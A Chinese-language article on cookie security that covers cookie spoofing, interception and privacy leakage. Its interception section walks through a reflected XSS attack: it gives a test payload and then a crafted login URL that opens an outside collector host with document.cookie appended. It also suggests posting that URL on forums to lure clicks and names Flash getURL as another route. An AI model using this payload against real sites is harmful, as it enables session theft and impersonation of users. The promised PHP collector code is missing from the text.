本文主要是結合自己的經驗,給大家分析了一下Cookie的安全性問題,以及Cookie截獲的手段,推薦給小伙伴們參考下。
Cookie的目的是為用戶帶來方便,為網站帶來增值,一般情況下不會造成嚴重的安全威脅。Cookie文件不能作為代碼執行,也不會傳送病毒,它為用戶所專有並只能由創建它的服務器來讀取。另外,浏覽器一般只允許存放300個Cookie,每個站點最多存放20個Cookie,每個Cookie的大小限制為4KB,因此,Cookie不會塞滿硬盤,更不會被用作"拒絕服務"攻擊手段。
但是,Cookie作為用戶身份的替代,其安全性有時決定了整個系統的安全性,Cookie的安全性問題不容忽視。
(1)Cookie欺騙 Cookie記錄了用戶的帳戶ID、密碼之類的信息,通常使用MD5方法加密後在網上傳遞。經過加密處理後的信息即使被網絡上一些別有用心的人截獲也看不懂。然而,現在存在的問題是,截獲Cookie的人不需要知道這些字符串的含義,只要把別人的Cookie向服務器提交,並且能夠通過驗證,就可以冒充受害人的身份登陸網站,這種行為叫做Cookie欺騙。
非法用戶通過Cookie欺騙獲得相應的加密密鑰,從而訪問合法用戶的所有個性化信息,包括用戶的E-mail甚至帳戶信息,對個人信息造成嚴重危害。
(2)Cookie截獲
Cookie以純文本的形式在浏覽器和服務器之間傳送,很容易被他人非法截獲和利用。任何可以截獲Web通信的人都可以讀取Cookie。
Cookie被非法用戶截獲後,然後在其有效期內重放,則此非法用戶將享有合法用戶的權益。例如,對於在線閱讀,非法用戶可以不支付費用即可享受在線閱讀電子雜志。
Cookie截獲的手段有以下一些:
(1)用編程手段截獲Cookie。下面分析其手法,該方法分兩步完成。
步驟一:定位需要收集Cookie的網站,對其進行分析並構造URL。 首先打開要收集Cookie的網站,這裡假設是http://www.XXX.net,登陸網站輸入用戶名"<Al>"(不含引號),對數據進行分析抓包,得到如下代碼:
http://www.XXX.net/tXl/login/login.pl?username=<Al>&passwd=&ok.X=28&ok.y=6;
將其中"<Al>"更換為:
"<script>alert(document.cookie)</script>"再試,如果執行成功,就開始構造URL:
http://www.XXX.net/tXl/login/login.pl?username=<script>window.open ("http://www.cbifamily.org/cbi.php?"%2bdocument.cookie)</script>&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用戶能夠控制的某台主機上的一個腳本。需要注意的是"%2b"為符號"+"的URL編碼,因為"+"將被作為空格處理。該URL即可在論壇中發布,誘使別人點擊。
步驟二:編制收集Cookie的PHP腳本,並將其放到用戶可以控制的網站上,當不知情者點擊了構造的URL後可以執行該PHP代碼。該腳本的具體內容如下:
代碼如下:
將這段代碼放到網絡裡,則能夠收集所有人的Cookie。如果一個論壇允許HTML代碼或者允許使用Flash標簽,就可以利用這些技術收集Cookie的代碼放到論壇裡,然後給帖子取一個吸引人的主題,寫上有趣的內容,很快就可收集到大量的Cookie。在論壇上,有許多人的密碼就是被這種方法盜走的。
(2)利用Flash的代碼隱患截獲Cookie。Flash中有一個getURL()函數。Flash可以利用這個函數自動打開指定的網頁,它可能把用戶引向一個包含惡意代碼的網站。例如,當用戶在電腦上欣賞Flash動畫時,動畫幀裡的代碼可能已經悄悄地連上網,並打開了一個極小的包含有特殊代碼的頁面,這個頁面可以收集Cookie、也可以做一些其他有害的事情。網站無法禁止Flash的這種作為,因為這是Flash文件的內部功能。
(3)Cookie洩漏網絡隱私
Cookie導致網絡隱私洩密的主要原因是:!商業利益驅動。隨著電子商務的興起和互聯網上巨大商機的出現,一些網站和機構濫用Cookie,未經訪問者的許可,利用搜索引擎技術、數據挖掘技術甚至是網絡欺騙技術搜集他人的個人資料,達到構建用戶數據庫、發送廣告等營利目的,造成用戶個人隱私的洩漏。"Cookie信息傳遞的開放性。Cookie文件具有特殊的傳遞流程 和文本特性,在服務器和客戶端之間傳送未經安全加密的Cook-ie文件,易導致個人信息的洩密。
以上都是個人對於cookie安全性的理解,如有遺漏還請大家能夠指正。